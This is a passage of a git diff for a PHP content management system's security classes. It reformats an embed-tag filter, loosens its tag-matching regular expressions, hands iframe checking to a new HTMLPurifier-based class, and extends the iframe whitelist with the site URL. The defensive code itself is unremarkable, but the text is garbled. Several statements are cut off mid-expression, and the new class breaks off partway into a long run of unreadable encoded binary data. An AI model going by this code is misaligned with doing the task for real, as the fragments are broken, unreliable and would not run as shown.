=> 1, 'kar' => 1, 'rmi' => 1, + 'mp4a' => 1, 'mpga' => 1, 'mp2' => 1, 'mp2a' => 1, 'mp3' => 1, 'm2a' => 1, 'm3a' => 1, 'oga' => 1, 'ogg' => 1, 'spx' => 1, 's3m' => 1, 'sil' => 1, 'uva' => 1, 'uvva' => 1, 'eol' => 1, 'dra' => 1, 'dts' => 1, 'dtshd' => 1, + 'lvp' => 1, 'pya' => 1, 'ecelp4800' => 1, 'ecelp7470' => 1, 'ecelp9600' => 1, 'rip' => 1, 'weba' => 1, 'aac' => 1, 'aif' => 1, 'aiff' => 1, 'aifc' => 1, 'caf' => 1, 'flac' => 1, 'mka' => 1, 'm3u' => 1, 'wax' => 1, + 'wma' => 1, 'ram' => 1, 'ra' => 1, 'rmp' => 1, 'wav' => 1, 'xm' => 1, 'cdx' => 1, 'cif' => 1, 'cmdf' => 1, 'cml' => 1, 'csml' => 1, 'xyz' => 1, 'bmp' => 1, 'cgm' => 1, 'g3' => 1, 'gif' => 1, 'ief' => 1, 'jpeg' => 1, + 'jpg' => 1, 'jpe' => 1, 'ktx' => 1, 'png' => 1, 'btif' => 1, 'sgi' => 1, 'svg' => 1, 'svgz' => 1, 'tiff' => 1, 'tif' => 1, 'psd' => 1, 'uvi' => 1, 'uvvi' => 1, 'uvg' => 1, 'uvvg' => 1, 'sub' => 1, 'djvu' => 1, 'djv' => 1, + 'dwg' => 1, 'dxf' => 1, 'fbs' => 1, 'fpx' => 1, 'fst' => 1, 'mmr' => 1, 'rlc' => 1, 'mdi' => 1, 'wdp' => 1, 'npx' => 1, 'wbmp' => 1, 'xif' => 1, 'webp' => 1, '3ds' => 1, 'ras' => 1, 'cmx' => 1, 'fh' => 1, 'fhc' => 1, + 'fh4' => 1, 'fh5' => 1, 'fh7' => 1, 'ico' => 1, 'sid' => 1, 'pcx' => 1, 'pic' => 1, 'pct' => 1, 'pnm' => 1, 'pbm' => 1, 'pgm' => 1, 'ppm' => 1, 'rgb' => 1, 'tga' => 1, 'xbm' => 1, 'xpm' => 1, 'xwd' => 1, 'eml' => 1, + 'mime' => 1, 'igs' => 1, 'iges' => 1, 'msh' => 1, 'mesh' => 1, 'silo' => 1, 'dae' => 1, 'dwf' => 1, 'gdl' => 1, 'gtw' => 1, 'mts' => 1, 'vtu' => 1, 'wrl' => 1, 'vrml' => 1, 'x3db' => 1, 'x3dbz' => 1, 'x3dv' => 1, + 'x3dvz' => 1, 'x3d' => 1, 'x3dz' => 1, '3gp' => 1, '3g2' => 1, 'h261' => 1, 'h263' => 1, 'h264' => 1, 'jpgv' => 1, 'jpm' => 1, 'jpgm' => 1, 'mj2' => 1, 'mjp2' => 1, 'mp4' => 1, 'mp4v' => 1, 'mpg4' => 1, 'mpeg' => 1, + 'mpg' => 1, 'mpe' => 1, 'm1v' => 1, 'm2v' => 1, 'ogv' => 1, 'qt' => 1, 'mov' => 1, 'uvh' => 1, 'uvvh' => 1, 'uvm' => 1, 'uvvm' => 1, 'uvp' => 1, 'uvvp' => 1, 'uvs' => 1, 'uvvs' => 1, 'uvv' => 1, 'uvvv' => 1, 'dvb' => 1, + 'fvt' => 1, 'mxu' => 1, 'm4u' => 1, 'pyv' => 1, 'uvu' => 1, 'uvvu' => 1, 'viv' => 1, 'webm' => 1, 'f4v' => 1, 'fli' => 1, 'flv' => 1, 'm4v' => 1, 'mkv' => 1, 'mk3d' => 1, 'mks' => 1, 'mng' => 1, 'asf' => 1, 'asx' => 1, + 'vob' => 1, 'wm' => 1, 'wmv' => 1, 'wmx' => 1, 'wvx' => 1, 'avi' => 1, 'movie' => 1, 'smv' => 1, 'ice' => 1, ); /** @@ -279,6 +282,16 @@ class EmbedFilter return $GLOBALS['__EMBEDFILTER_INSTANCE__']; } + public function getWhiteUrlList() + { + return $this->whiteUrlList; + } + + public function getWhiteIframeUrlList() + { + return $this->whiteIframeUrlList; + } + /** * Check the content. * @return void @@ -300,11 +313,11 @@ class EmbedFilter */ function checkObjectTag(&$content) { - preg_match_all('/<\s*object\s*[^>]+(?:\/?>)/is', $content, $m); + preg_match_all('/<\s*object\s*[^>]+(?:\/?>?)/is', $content, $m); $objectTagList = $m[0]; if($objectTagList) { - foreach($objectTagList AS $key=>$objectTag) + foreach($objectTagList AS $key => $objectTag) { $isWhiteDomain = true; $isWhiteMimetype = true; @@ -316,12 +329,12 @@ class EmbedFilter { if(is_array($parser->iNodeAttributes)) { - foreach($parser->iNodeAttributes AS $attrName=>$attrValue) + foreach($parser->iNodeAttributes AS $attrName => $attrValue) { // data url check if($attrValue && strtolower($attrName) == 'data') { - $ext = strtolower(substr(strrchr($attrValue,"."),1)); + $ext = strtolower(substr(strrchr($attrValue, "."), 1)); $isWhiteDomain = $this->isWhiteDomain($attrValue); } @@ -353,15 +366,15 @@ class EmbedFilter */ function checkEmbedTag(&$content) { - preg_match_all('/<\s*embed\s*[^>]+(?:\/?>)/is', $content, $m); + preg_match_all('/<\s*embed\s*[^>]+(?:\/?>?)/is', $content, $m); $embedTagList = $m[0]; if($embedTagList) { - foreach($embedTagList AS $key=>$embedTag) + foreach($embedTagList AS $key => $embedTag) { - $isWhiteDomain = true; - $isWhiteMimetype = true; - $isWhiteExt = true; + $isWhiteDomain = TRUE; + $isWhiteMimetype = TRUE; + $isWhiteExt = TRUE; $ext = ''; $parser = new HtmlParser($embedTag); @@ -369,12 +382,12 @@ class EmbedFilter { if(is_array($parser->iNodeAttributes)) { - foreach($parser->iNodeAttributes AS $attrName=>$attrValue) + foreach($parser->iNodeAttributes AS $attrName => $attrValue) { // src url check if($attrValue && strtolower($attrName) == 'src') { - $ext = strtolower(substr(strrchr($attrValue,"."),1)); + $ext = strtolower(substr(strrchr($attrValue, "."), 1)); $isWhiteDomain = $this->isWhiteDomain($attrValue); } @@ -406,13 +419,16 @@ class EmbedFilter */ function checkIframeTag(&$content) { - preg_match_all('/<\s*iframe\s*[^>]+(?:\/?>)/is', $content, $m); + // check in Purifier class + return; + + preg_match_all('/<\s*iframe\s*[^>]+(?:\/?>?)/is', $content, $m); $iframeTagList = $m[0]; if($iframeTagList) { - foreach($iframeTagList AS $key=>$iframeTag) + foreach($iframeTagList AS $key => $iframeTag) { - $isWhiteDomain = true; + $isWhiteDomain = TRUE; $ext = ''; $parser = new HtmlParser($iframeTag); @@ -420,12 +436,12 @@ class EmbedFilter { if(is_array($parser->iNodeAttributes)) { - foreach($parser->iNodeAttributes AS $attrName=>$attrValue) + foreach($parser->iNodeAttributes AS $attrName => $attrValue) { // src url check if(strtolower($attrName) == 'src' && $attrValue) { - $ext = strtolower(substr(strrchr($attrValue,"."),1)); + $ext = strtolower(substr(strrchr($attrValue, "."), 1)); $isWhiteDomain = $this->isWhiteIframeDomain($attrValue); } } @@ -446,14 +462,14 @@ class EmbedFilter */ function checkParamTag(&$content) { - preg_match_all('/<\s*param\s*[^>]+(?:\/?>)/is', $content, $m); + preg_match_all('/<\s*param\s*[^>]+(?:\/?>?)/is', $content, $m); $paramTagList = $m[0]; if($paramTagList) { - foreach($paramTagList AS $key=>$paramTag) + foreach($paramTagList AS $key => $paramTag) { - $isWhiteDomain = true; - $isWhiteExt = true; + $isWhiteDomain = TRUE; + $isWhiteExt = TRUE; $ext = ''; $parser = new HtmlParser($paramTag); @@ -464,7 +480,7 @@ class EmbedFilter $name = strtolower($parser->iNodeAttributes['name']); if($name == 'movie' || $name == 'src' || $name == 'href' || $name == 'url' || $name == 'source') { - $ext = strtolower(substr(strrchr($parser->iNodeAttributes['value'],"."),1)); + $ext = strtolower(substr(strrchr($parser->iNodeAttributes['value'], "."), 1)); $isWhiteDomain = $this->isWhiteDomain($parser->iNodeAttributes['value']); if(!$isWhiteDomain && $ext) @@ -491,15 +507,15 @@ class EmbedFilter { if(is_array($this->whiteUrlList)) { - foreach($this->whiteUrlList AS $key=>$value) + foreach($this->whiteUrlList AS $key => $value) { - if(preg_match('@^'.preg_quote($value).'@i', $urlAttribute)) + if(preg_match('@^' . preg_quote($value) . '@i', $urlAttribute)) { - return true; + return TRUE; } } } - return false; + return FALSE; } /** @@ -510,15 +526,15 @@ class EmbedFilter { if(is_array($this->whiteIframeUrlList)) { - foreach($this->whiteIframeUrlList AS $key=>$value) + foreach($this->whiteIframeUrlList AS $key => $value) { - if(preg_match('@^'.preg_quote($value).'@i', $urlAttribute)) + if(preg_match('@^' . preg_quote($value) . '@i', $urlAttribute)) { - return true; + return TRUE; } } } - return false; + return FALSE; } /** @@ -529,18 +545,18 @@ class EmbedFilter { if(isset($this->mimeTypeList[$mimeType])) { - return true; + return TRUE; } - return false; + return FALSE; } function isWhiteExt($ext) { if(isset($this->extList[$ext])) { - return true; + return TRUE; } - return false; + return FALSE; } function _checkAllowScriptAccess($m) @@ -559,7 +575,7 @@ class EmbedFilter { $m[0] .= '/'; } - $this->allowscriptaccessList[count($this->allowscriptaccessList)-1]--; + $this->allowscriptaccessList[count($this->allowscriptaccessList) - 1]--; } } else if($m[1] == 'embed') @@ -580,7 +596,7 @@ class EmbedFilter { if($this->allowscriptaccessList[$this->allowscriptaccessKey] == 1) { - $m[0] = $m[0].''; + $m[0] = $m[0] . ''; } $this->allowscriptaccessKey++; return $m[0]; @@ -600,7 +616,7 @@ class EmbedFilter { $isMake = true; } - if( file_exists($whiteUrlCacheFile) && filemtime($whiteUrlCacheFile)whiteurl->embed->domain; $iframeDomainList = $domainListObj->whiteurl->iframe->domain; - $buff = '$value) + foreach($embedDomainList AS $key => $value) { $patternList = $value->pattern; if(is_array($patternList)) { - foreach($patternList AS $key=>$value) + foreach($patternList AS $key => $value) { $buff .= sprintf('$whiteUrlList[] = \'%s\';', $value->body); } } - else $buff .= sprintf('$whiteUrlList[] = \'%s\';', $patternList->body); + else + $buff .= sprintf('$whiteUrlList[] = \'%s\';', $patternList->body); } } if(is_array($iframeDomainList)) { - foreach($iframeDomainList AS $key=>$value) + foreach($iframeDomainList AS $key => $value) { $patternList = $value->pattern; if(is_array($patternList)) { - foreach($patternList AS $key=>$value) + foreach($patternList AS $key => $value) { $buff .= sprintf('$whiteIframeUrlList[] = \'%s\';', $value->body); } } - else $buff .= sprintf('$whiteIframeUrlList[] = \'%s\';', $patternList->body); + else + $buff .= sprintf('$whiteIframeUrlList[] = \'%s\';', $patternList->body); } } + + if(Context::getDefaultUrl()) + { + $buff .= sprintf('$whiteIframeUrlList[] = \'%s\';', Context::getDefaultUrl()); + } $buff .= '?>'; FileHandler::writeFile($this->whiteUrlCacheFile, $buff); } } + } /* End of file : EmbedFilter.class.php */ +/* Location: ./classes/security/EmbedFilter.class.php */ diff --git a/classes/security/Purifier.class.php b/classes/security/Purifier.class.php new file mode 100644 index 000000000..10fb74708 --- /dev/null +++ b/classes/security/Purifier.class.php @@ -0,0 +1,180 @@ +_checkCacheDir(); + + // purifier setting + require_once _XE_PATH_ . 'classes/security/htmlpurifier/library/HTMLPurifier.auto.php'; + require_once 'HTMLPurifier.func.php'; + + $this->_setConfig(); + } + + public function getInstance() + { + if(!isset($GLOBALS['__PURIFIER_INSTANCE__'])) + { + $GLOBALS['__PURIFIER_INSTANCE__'] = new Purifier(); + } + return $GLOBALS['__PURIFIER_INSTANCE__']; + } + + private function _setConfig() + { + $whiteDomainRegex = $this->_getWhiteDomainRegx(); + //$allowdClasses = array('emoticon'); + + $this->_config = HTMLPurifier_Config::createDefault(); + $this->_config->set('HTML.TidyLevel', 'light'); + $this->_config->set('Output.FlashCompat', TRUE); + $this->_config->set('HTML.SafeObject', TRUE); + $this->_config->set('HTML.SafeEmbed', TRUE); + $this->_config->set('HTML.SafeIframe', TRUE); + $this->_config->set('URI.SafeIframeRegexp', $whiteDomainRegex); + $this->_config->set('Cache.SerializerPath', $this->_cacheDir); + //$this->_config->set('Attr.AllowedClasses', $allowdClasses); + + $this->_def = $this->_config->getHTMLDefinition(TRUE); + } + + private function _setDefinition(&$content) + { + // add attribute for edit component + $editComponentAttrs = $this->_searchEditComponent($content); + if(is_array($editComponentAttrs)) + { + foreach($editComponentAttrs AS $k => $v) + { + $this->_def->addAttribute('img', $v, 'CDATA'); + $this->_def->addAttribute('div', $v, 'CDATA'); + } + } + + // add attribute for widget component + $widgetAttrs = $this->_searchWidget($content); + if(is_array($widgetAttrs)) + { + foreach($widgetAttrs AS $k => $v) + { + $this->_def->addAttribute('img', $v, 'CDATA'); + } + } + } + + /** + * Search attribute of edit component tag + * @param string $content + * @return array + */ + private function _searchEditComponent($content) + { + preg_match_all('!<(?:(div)|img)([^>]*)editor_component=([^>]*)>(?(1)(.*?)

    7p_j`2JZF86V>!gH!AFCt#weYHX|~l)ywM5H)WUxi8|r<5F&L(h=(OdueP=e#bnV;4dE@0s|$CpyDSNPnpC&t4hax(eMHQhFMy zMKby<1{H>r{OA>T_6y^Q5Z1~M?6^d}@@jD9X@l==uT+c1=3V+EisN`RRhG7mgy<;+ z(!sbbDR~f_%My3fKk^u-a8WwmyvN9 z8ZdrU%&}C_X++qlc8P60N8GG60kmdUpgzi`+QE z(D~D=9d)(&Sl9zp-j*jrv1SR&K>;rRA!q7zVX^ub>7kjDjU>E9${oJoINh<5mz$!h zx8PkS=_?LHmq*IL{5ohE1+zEPEa34xpYP{5zkDkZ@?>eRItK z<1w{-f=>_B{&fw-$w^oZ8-0w@YLZBsX+? zeecOQ&5qIO=`Dij38ZvKp2CCc$v8#KD6-@FND?L#q}@KBhTbyJPFt#fSLgXl5*W(; zeLF|0wt*<$Uil^*;uFxj-Y_DJlLBEgP935|F(;7=%6SvWCEfi-1)EVX1oO)lW9`L~ zcjbM(ib`1j9Yyfp_Cus=hZ#`$7-LH^lNdP^3O=7 zdwagfy2vyMsuwu9s93RDL5F%@VO>&6zs&5g2T;~<2y?B{`1PvLe7Iv^gNJivfVOCn z;cO=HbipilK?%ds_G zwQ}>Ta3KlAO?py8(ZPOj@dv$dwK3_d6TnL+ZcZkst_*<;;sf`vQi|{CUvu<}mt>q0 z$SzJF(Fgd*G0K_+IS5uM!MU++oEU+b0se3|G0gEJOGlrz)_0h*I8$6S{fnYs@FM;F z0>IKDTMMc3D1bnnTJJ<=WdRqrIy@{b(2{lC>8a)q#=P+*!B(ZDqn| zO#bS@s#}}!nNRX+051~`s3Ka2AiW;XPU;26@0`8=pdxAn6%XC~HY-M#+( zD9yi43t$|i@CF73B;XI~wlD49>RzLQrCR6s?6y~IqR zCx)fD+M4=aJPlxamM2NPPg{b%Y8M2Hwdi(d+>5S0>iYh=Z`OKW@(m3dH9jjCTxm;? zh=ftP+%k|pV#Z4w+?S=)XZS({TX8PS%Kh8Ms+L2`)gcEwdg27_mL{{wVxh{uBdryP zJCu_R5B7GrT9xGWyV^$mjB9)e;gBRZD?%|KP8jIvMK6z(bS#%N-Ud7ni~E(hASXRz zSU7M16uEZq;JJ_~E_+d;r!YWERYR{stYfI+?? z0%(@QU$n=L0nmXRb;W#?a+V+fAI7!8Jk$?sk9|yzw#uAgT4Z^|u($3btm+%aJ~UV< zGS+XUzLKhl@3OKO|7DZtfK3`WrVC<3Z`Nx{SemD7g61_fe6^#L{k2}`LA#M#mm(O4A zF@Nz#rlt~Qd5OjzY)(gfq>uOXOx>H^^+u1|J`nXaCD7|7yNo-bi7kUBoh%P|kOcC+ z)6X6F)B@f!u^jH&p))>ht6Q$$HDZ(jDmwT2q$;nWh8tQU63$`6=i*V~%qZ7iU!~n= zqh)6S7OZ5#ZQ7eOMtORmhc|M*h`pG~@uaE))VlK0VaPZ!IyB~2%ShPWXosM!`kA8s zZwBENOtZssn{&`qt(hwbNq#M630e!@ioP+D6JJ;W_XdeiVd(sqOKJe zL=6&fdoM4;{yfuCRz3AGr;oeulr|boCU(TPTC38FoLE0L436<56{k(~QFy?5-|&JA z_GyImFA%aWKx6=u6n&J*!CFc&dgt@w=>jVpQpssQR0?wyJsCWg9zC{$?sGctnXNCQ zhGA@yySt$hh2Nji0T0CmLhYu_WIHaTzNldrHRCPtyY~*`M(~v=k-dhUw%0*VOAZ?i z@YL4$zQ?&O^zF3mA04pOXv_XuVM9Oe_(0NP0ab9DIQG;gl3w)vTA(K@_?trbnc-fK zIfR4ZI0?Vs?WgNyyln9KdC5s;KKb^U;18=SE{lh>Q)$bfjNZOKlCx_(gq6ZrZ;Eu! zNO;r6(wus*eb~BJ+@|5X+CjoPZr_n1rd4NJXo47GtnN>xdA-i7hEO(&Kf+_n+p1>{ z0N)g-XnB8(;96nBrVy!U3H_kI6Tfoajne($ze|g->{w35KCEGBI5LDE6@)^CH}glC zebFK5g%!F|d>mWX#!&aYeGPMpRFX@b$05!PYTqvAKypKRb1 z2}*Q{aq=>#ki~5|_9s(ZMa$o$$PZkgVc{HC}{NiJl+@!H>T|JvNLp#@Vo8j zdklPh7Z$6btm|qNb%`fP&mC>9dK)WH(}UP<=23#{QF-+a$MPoON8XKs-9Q-jcXfQ9 zVYl8ZI9rP4w$6D#_4@Jd%Od4p?3aWJI%P z4@}g4+;~5yhzMZb+6iN`x?lckCME=4l&rb2^pf>8Q&l!dZ=rq+lya;i!Ks-rYPyCSOWSilX)Anh7KdJrlBfzk&=tsdnY>_NDGL;j_fKHK-?G=@5GlUJ)R; zZ5vfZpAB$ZTGWMxXo&tgOY6&C4+*KC&NY~ zem%}8m1rjAw0O;x$u@$%B^=`+tkOL$j^`G$09 zfQ61OLa@(j?droUa1kK;RZz);dtg7_JkO%aeWUG?tr=|p3mzXsX3 z*D)^pJ*4Yhg%{aw>e~2Ju*18kq~5&zkYhLH=}Ov{NzGAmd&!$-g7=;X?>$~kPbI@o zMtf6(>L@abrkhm!iw2x@wk~QL#(F+lA<51R-=3l_r5s4AedKr<7#Pfsyhl$a5M*F2 zXZwuR`W-^iH@Fq|JjP_h{jdBZqpA+7xa+OlI#2#2ob7ILT+U36jcthuBKK`>{ko>n z54w)x8(FPivGtxupS#rJ-v1aS7`gWl!>)!8ZVy@1IG6fe0`tb4B7VDBf%dq7dkQ$$ zA1>aD#y`I`>ni`8zh~(G@lfU+QBlYriVR_LcOKet+{Qd10mLP09{nrlSK9agO>kSZ z@_&RN@PB+C2VF$}r2q|~hqLElyWhcy_U@!!e3Z`ce?0VGmB3J-5_qJ-KSOp>?t0Z{ zdd}$(1)pRbrWZ;+nCY8-31eim_v6<|j zxuz|apfAXffTT)a>Q4fp*FV>hXfcqdyuRwzD16s~E%E(m#O3#f#@q341kw7NlerY< z=M4PVNrJ8%I{x0h-0O!KZS1#}$d1lVCD{8x+LT{O_+%nA)#d+q z6v!#Q9NcG3@kF*+2XOMP;Vk`34C`G2$p=9@+LB&ao=3(QpxReJh0S%^d#CM0Ed>BJ z2N=N8q%6VhWyrL@?R=&=3_RRg`|wcw zEQ)@%3Ff!WJ{hyfU&kuDOG)u-`bB>m#r zI9rS23UG6&6l!grsPd2QD1pXjb0|@+ITgx=yLmq(GOnbibyW1|{f-ha@GVFrhZlwQ z82=DDKY}bbU23OD(#H=+Tam7b_F!acs=PJ!g*9h}oeGT< z6_S0G#YWbD^gJ0YM_Gs#zBWlp{3@k3uftwm)Jbk(8d=Ox+cH?ylH|XFsN$LvN-!U8 z^lf%$Bb|#&v!5=1!r)+s2Fm}xe>4}L&kauOIdcx)MXK_#tkNp>M>kV712Tjd)><^& zS|svB1~E6QB*Am;ya9_fQp&V}uWV!-d&Rd_f3%#cgp{$wLc`E9l0ylW%A)0Ev(h;$ z-Mk=|!Yfv`k~_hLBCX}T_TmVaU!!407pu9mFT@8x$W=U{It_)_9ijo^6u_d zF9063oV@M=WG8CH_3MNesWn-+mI_@m`b1}_)6XAP4lb3U&TwVJ`9Ex(j|8^D@Wk4x zA@|n*VXj25n?bD%6YIAo{tv@rov3z{{KGo~nv?%E%@a^^f`rqt#wY9C0zjAl-X@Sq z_|%vd>?wMx8-b47tE9TEP7o^>78Wwy_+R}6nV0vTA2v1|Ha2SEohq9B;L45AJqrVU zeW&V%U!N(R04dS6EB~uIq4$!v_;E(b@$|^?&hqi`(B*}~|3FFc^uS>K8f0}fYf0l# zEueH3R$=*DcSP?^(B|>(-m&+gZ{yMNw8Dw7`eeORpcJ3JLG$Ir@QW!q24*b}E(T5PWo`^~ZT_E59ZEf%f|_Z$Nx6#M-6_?V*kM7T?jrub=81-Ey1AHAv3 zb0HSfVfb}3XC5Ex5PkvkGefN~_gq&mZx;&PzkeIR#!o+sjsNV__6gTQ*wh25pZc4B zlY%Fd(}yu)1YFr${LxDCgDxU#DxeeMo38rb_^dV%Cfxo%vZ6X+IAk|Wh7Zx}1CO z!eD@k3IsZ-U;mMueefB1|QXzGjaN;#>g{lN}p zK-nB6&UW>}l%kx^$a<8CIxsIkb*c;Q5D=JQ!i)aHLAr$t0wS~FzlqGQG6Kkg-Swp= zK)|9$LnbfQE-P^VLHb-Al2Vjc;?6^4z{Lr&oF;4(2e+gVd^cE|FP1f(9@5dF^YZd? zrZyK)Dwrz5xvNXB16ml5S8b(b%=L~9aE z0#aDy{k{AXMl=3+-}l&onT@|nQ{E1i*&|owb5lPVKQ0$uDDim<5G<+0P*3)8)C)&o zBXQ$sS=aJ^EKD+Zdc%tn)`iuyE5F?bxL}{*nhHh!VgnXJYNDD7yVvgws?=PK+TBxZ z&U6oSDj=_sei6Pf9NQMI6r19%UIecnQXuYh;lG^Vaz`3f@=bCJ()x zqNhthQ&oCtae0zn76^*wPYvZ;0c~pNx`o^x{!T|aJ7x*Bg(eHKrVy0k=3n0pF8r;@ zhPW!C32EGgeY=e-RC0M;bx5dbTxxD-%n$l4`E)lXmA-tC?B+9|XJCiJw0*~V&y=ECt;9%Wm z!~DR3nnmPqhW`7%QX_|*GgxH{>?vM4jA-oWNL6gD-cxUnhEf3DAhDyDY2MXijd1b~aP(%_SS@VH+D!wJ0!&c`Re-D+|) zXCkByxxM(kC4$;Hdo=q~TLl+`y-hdEqXWy%E6XoqZ~JGU=`NeinPp2VzQ#faCpi?+ zExSd?*U*r{Tvw}4-ak=<6tZPZi_~)|hPAy8wtK@r(L0Hl}aw#4!JED~if_)`}Xz*L_mk(+;1~8GjU9A$DmO=yUw;zr_If zGWj>*2YCEz*ka%A^xE!+K^2z>yiRRwQYn-7jsC)zowWYJlfKM2j=NF_7iTxq=|6V4!mdA9agjJQ&oVdn#g4v-<*_>GB9pUHNICoyaz>d)sclCdv#fWu^1be` zWU-{Su{2pF>icM1ziI{0o8rQjlLEQ-)Z%tYA&k}2bL%?h4L1&c0D__vNF%>-m+OBe>a#s2&d=w0jgUkPJsUjh8?5zz?kyM3Iag35HAejot#}$> z#E-y(5OiQr(A?4f8W+SolR^Hw;XnYv(O0e`iFEJnQK`0hnU~GC8llb>hW8k{xJt6I z4B|df#vDmx=+V)$E~PFYb4StqB&cC8HSNNefR0=QHF$V^Vm}hYZTBWB_N?-*%IH^H zGRZgG@gHqD(>3d0Xr0Ga0nbRX$;*Xlonpi2k3q448dp2M^P>Z>v&Sf@-;%LBD!@lf zqISpjc66>>QjQTm3Ap`L1-B%nVkx5MH)34A5Kl@(E z*nP3%6A2TID~@PgxBHS1&$AmF87W$kb|1%}tQxP&*K*!Kk-d`=UV=pzEMNqSdgaWQU9uRYx-HvFctxbZ;Ob(S^;>us(IAB#&leb z*G$d@Y?En}i$`WL%=J-WZP^riaVeOS7L}ma$)7#_qGN#!HB4i56J+2?#iD=eOWc{n zK?XFDc=l%`gCNs6^7@i$^Su5{S9wr-=uf4ed_9F1e_@AWlg8VpRL(S?(Vdz3u9ULs z>IJEow?A#?fIU$d8@y1VBhvN!58xUf%TTqxbO9-4Ql3>%v3)l}pmujuFH()*e`NM{ zKNGK`hM}3)FCx2E!4u09JCnuOb)phB%CG)KI{)+r@Z2)O+sv&t4g+4KNGMWAaA5;= z88N{~K1`L$E&!a_(HJP4?|lM(kqPi*;l_QA06L|1lN+VKh$M@Fg*kaYvo?eP&s3_K zQC@fi17r(SpbO)v#^(}%#)_(-z`%>RO$ZpMh>_6FZ4E#Nb&+D87rQd7`2fIP7@}b^ z01TNNQN4=y`6^A~5f59ap!0*ht5Xl7qd8BF&5xfRT5KO6Dm{SC-V}4x`mD~kkGvw{ z_#lvB-AP#)D@y6?xjcYEk_?3(qoK9U$_s6px8 z%X(&ss^q}bjeeu=MS_Hk5m=AASBQHl*D{0qDYp#4m8vXni7X>-@Y;)+`N)X2jr6Se zDy*YttVzxs5L`Tdp+XL&?M_YpOR>@#^_efe_{=t1fy%vsPXrdkhRCm&2o@M`lDYUZ z>ZfYEAs*7UOi3(^ik(D^Gw*>>py}BKC1CEw1l~}IYI*q&!rlUUFNa#VhK9q!!qztj zRKkvChrBQ+8PKUU22U5{UcPE)M`KEAC}ej~*4hNsfIzQU8aCzM`xu9E<6jNKmFm+< z(ST?pLUPhg@^&Y~D9%P=1HT9g_J|(a_Rt4_H^Ir4Xi(vloxxIlAafcvA7&qF*c&Qo z-(DF{%aB7dUlwR~i-htBFSiyg2)46-cM3`A=#00H55v`LD9J7qQAys<@N4j&O6Bg( za;aidkGgWxJ8v{% zob7`k9Z|Y}7vi3NvF_UXH z+Qp-`2QkVUzidVP9+JblB`!xdu~lb^561rd9f0{&8(&#pnpYy>Eo+$9-YWHSHOp#g zVb*6zckk~8$&mltW9v*PN%31{F+PCPk93{*mb=4UVV{wAj`uF=zSc@ehETe$Dapgtlm*R(Azo$YP`HfSDN5(opE&Um}H#l@8>Tmfo!a!t6x7 zXH`N0LsehdX^b4Tx%^i$CIwhzd8C8RY8oEWwDc9bvXWA3a~L^w+i*TW1FJEy;anKA zmj<8!AVqO>CPMC)-wZpInbdH?l_UEA^4Xfn;I%OrDHEMTbs;8*dlG@c$fTs3r`7Bt zxbiIn#vrG84McdGxXA;&fa*b(%cK#Ga(l{0M_GF+mXe2gQw^7FQa`_IRE|44;#P9M zaqgd=?9`v#yKNMOZ5Y#0=QS@OWds!1+q<}3e^zf&zc=!en_d$ez;Mbt%3r5c<(58k zKf^D8D#ly%UG>U3Pzpz5KR%BN!UACtalL%E1v`hUtiflx%SY}j){@isxQ@-Q;n`2J zX9^&{c@kCy-*=oEA=(Lgj}0^t0n>%AUw?iY z>c3o-B}yn?cIMGfq<$yh(?ABHMXW7(DDysmv7Z|c*~)$JCbfOfU(Gf?Ba&b< z$#pltkn!Q8xHGo3mE#hrqNAFX8h24C+}=7e`k80w%`dOE_ts@`kq9EimzF#d#XWML z(ZK?TA{vxDKd$PXNfsbyTC!SsL@pIW^1U1$&M)u50=~V;jDrUsB^cK$etXHfoZTj} zYx&X$ElP%D`Z2{I-(vTit zOh9FLNbJg~5Q_3LrST}vdCeCAL9RdtXfXYoAuNN+L#{Qum>fGI($IhWc-lYbM~P*y zP6d+>qkQq*QG-6=j)}e|lfEIyz&hX7)ZB1D#r+?TU`^_mBZzMQD4RBus`cG&!+SO5 zBj47$hhdTji2Xv(`P6O;=!|n})VC`2uxd$tSm~D^_5GxDifg(XfU-%C*n$NkiPY zU`%nS7rt+LoLD#%znq|Rf4-}cEcoR{U~$AQzZ7CFFQ}jB&xOg4J*~7Y8l0!$o#U8@FKnaN@m$t3a8WQ0PtB< zC^e&29gs6}ze$dfAG>`oP9vKPawj*3)P40%e`atPjsDo271Z_g%NIg1;`Yu3Lo_ID z1MkrLDPJhYH0)8Js>37ttZpj%qnha^pbK4_d8PF#>fvclq;rP-sqaYf?!xBqkeq#H z5lS0D1zO?a`1m5nOIc&JF9Jwn+@4dNS@l(xC}meZY?;qOk`kPp+f5wNLT(sGSX2_u zpR~wb!$&0*&P=P~ObxosfFf&LvX1j|&ectx$&_b#R}t+XKlfAc>=HZUGD#!qnbiut zhg%r4x`U-jDEO`PjU+9X$L)}3Sen;gTpXbcG(6TXuFrL>zwzCBbHZhf%bOg0C11W> zJ_YE%4_hj!Z;Wxt33Q`|U&daxxG0aLi;58ch&7&ZIGWKGBzEw~{fi&YY~_ftvv$4` zixswoa}WPb0{I5u8xj5G_7$3eM@GZ}-^OpJiWyB#(q{^#VZkAjiRp%?8}Y9^fHy&0 z5>W7!yfxeh%BAckd;N*2SwZYBn}`$BK%>&L-Qa=SeT? z*M4c_t~BkEEZd6@(zwh@sxqJ{Je@LmFF1M(P(QJCHB_S}Z*j+GZD+RTd%AOA@Y0(6 zHQUXTj~E~(!=aQDRKe;%ZyZ#Rd8r5?z0LLGu2|QLAI70Q8HB`fpWr=q!Vkg7rzRd3 zzCQ!hJ$rRAFQNDWf#g z9vyz&XS+Q2>uz*u8uNM)LLOVxPdllR&xxf7#9*=!f%AW!639Te*!yTBBk`oZ9e_`+ z5Jn{xmiu6IHl!?9kd$j6TjL#pJ=?1Q0wt!DXv+tW@^$uCg9UJ z?wA~FPDH3-bnNBaiz(QNl}*AS3dN(%1Tg_GudY0mP7*7LATly~#Y0 zR7xL=xYAyMRDGrJHN?)#9{=u8R6~tlyaxI?bT8YC zD!x3CdqvQp%|kdYD%>J5y3@fDouBx4J<~TS8<_QDix%Zw2OO>{SqG zwwNL1LVq<+s!!sYR;{C&Jm?eX)pvVgo>I$xNZQ{~C?K(|bs*cc+avi~%YOe!%7%MP zuGT4L%>`*fv5I|Bc6PdmT{f)yg<1#;GTpI;FQU@TAK!)AdH+6Q@bV?v6M0%hJNB{i zy<#Kv4}QRZ`9++}e1pqc)pItP^ilDhurR16)Z`w+3fr#v+Vj-HU`?Lv$N47wUblt5 zLL$|J`S~6OYLmcxYKD*C5T-^ifuFzN5Sh^C^x-mmWN3=HGs)BrqQ>#QnNMDDp2iGW zb+pQuu~=lB6SaG><(oe-FtZCRCF7E4u4e%R7b>9`~k zK62`MGLAa-F-qr%a1zVXah!|_x1pqzw9^=QK#~u%Lb+F8uN@w~hMFG|g#w}VN%zm6 